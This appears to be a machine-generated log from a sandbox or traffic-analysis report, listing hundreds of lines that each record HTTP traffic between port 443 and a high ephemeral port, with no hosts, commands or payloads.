Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
